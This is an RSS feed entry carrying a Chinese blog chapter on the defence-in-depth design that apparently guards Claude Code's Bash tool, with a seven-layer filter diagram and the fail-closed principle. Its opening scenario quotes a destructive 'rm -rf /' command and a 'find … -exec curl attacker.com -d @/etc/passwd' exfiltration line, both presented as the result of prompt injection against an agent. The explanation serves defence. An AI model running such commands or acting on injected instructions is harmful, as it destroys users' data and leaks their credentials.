<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>安全防御 on Last Stand</title><link>https://amatsuzero.github.io/LastStand/tags/%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1/</link><description>Recent content in 安全防御 on Last Stand</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Tue, 09 Jun 2026 00:00:00 +0800</lastBuildDate><atom:link href="https://amatsuzero.github.io/LastStand/tags/%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1/index.xml" rel="self" type="application/rss+xml"/><item><title>第11章：安全深度防御算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-11/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-11/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;安全系统的可靠性不取决于最强的那道防线，而取决于所有防线的协同深度。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="111-问题引入当-ai-获得-shell-权限"&gt;11.1 问题引入：当 AI 获得 Shell 权限&lt;/h2&gt;
&lt;p&gt;想象这样一个场景：你让 Claude Code 帮你&amp;quot;清理项目中的临时文件&amp;quot;，它生成了一条 Bash 命令准备执行。这条命令可能是无害的 &lt;code&gt;find . -name '*.tmp' -delete&lt;/code&gt;，也可能被恶意提示注入篡改为 &lt;code&gt;rm -rf / --no-preserve-root&lt;/code&gt;。更隐蔽地，攻击者可能构造 &lt;code&gt;find . -name '*.tmp' -exec curl attacker.com -d @/etc/passwd \;&lt;/code&gt; 这样的命令——表面上在查找文件，实际上在窃取敏感数据。&lt;/p&gt;
&lt;p&gt;这就是 AI Agent 安全的核心挑战：&lt;strong&gt;Agent 必须拥有足够的系统权限才能有用，但不受约束的权限又会成为巨大的安全隐患&lt;/strong&gt;。Claude Code 对此给出了一个工程上极其精密的回答——一套超过 630KB 源码、覆盖 20 余种安全检查维度的深度防御体系。&lt;/p&gt;
&lt;p&gt;本章将深入解析这套安全体系的算法设计。我们将看到，它不是一个简单的&amp;quot;黑名单过滤器&amp;quot;，而是一个多层级、多维度、失败即关闭（fail-closed）的安全架构，其中每一层都假设上一层可能被绕过。&lt;/p&gt;
&lt;h2 id="112-架构总览多层过滤漏斗"&gt;11.2 架构总览：多层过滤漏斗&lt;/h2&gt;
&lt;p&gt;Claude Code 的 Bash 安全体系可以用一个&lt;strong&gt;多层过滤漏斗&lt;/strong&gt;来描述。每一条命令从进入到执行，需要依次通过以下安全层：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;用户/模型生成的命令
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第1层：预解析安全检查 │ ← bashSecurity.ts（约20个验证器）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 控制字符、Unicode攻击、 │ 检测注入、混淆、命令替换等
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 命令替换、重定向、换行… │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ passthrough / ask / allow
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第2层：AST 结构化分析 │ ← ast.ts（tree-sitter 解析）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 解析为 SimpleCommand[] │ 提取 argv、环境变量、重定向
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 节点类型白名单过滤 │ 未知节点 → too-complex → ask
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ simple / too-complex / parse-unavailable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第3层：权限规则匹配 │ ← bashPermissions.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ deny / ask / allow 规则 │ 前缀匹配、通配符匹配
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 环境变量剥离 + 包装器剥离│ 固定点迭代去除伪装层
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ deny / ask / allow
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第4层：只读性验证 │ ← readOnlyValidation.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 命令白名单 + 标志位验证 │ 确保命令仅做读取操作
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 危险标志拒绝列表 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ allow / ask
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第5层：路径约束验证 │ ← pathValidation.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 工作目录边界检查 │ 路径遍历攻击防护
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 危险路径检测 │ ~/.claude/ 等敏感路径保护
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ allow / ask / deny
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第6层：特殊命令处理 │ ← sedValidation.ts 等
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ sed/awk 等可执行命令 │ 表达式级安全分析
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ jq system() 检测 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ allow / ask
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第7层：沙盒隔离 │ ← shouldUseSandbox.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 文件系统 / 网络限制 │ 最后一道物理隔离
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 命令执行
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;核心设计原则：失败即关闭（Fail-Closed）&lt;/strong&gt;。在任何一层中，如果分析器无法确定命令是安全的，就默认拒绝（返回 &lt;code&gt;ask&lt;/code&gt; 要求用户确认）。这与&amp;quot;失败即开放&amp;quot;形成鲜明对比——后者假设无法判断时命令是安全的，这在安全系统中是致命的。&lt;/p&gt;</description></item></channel></rss>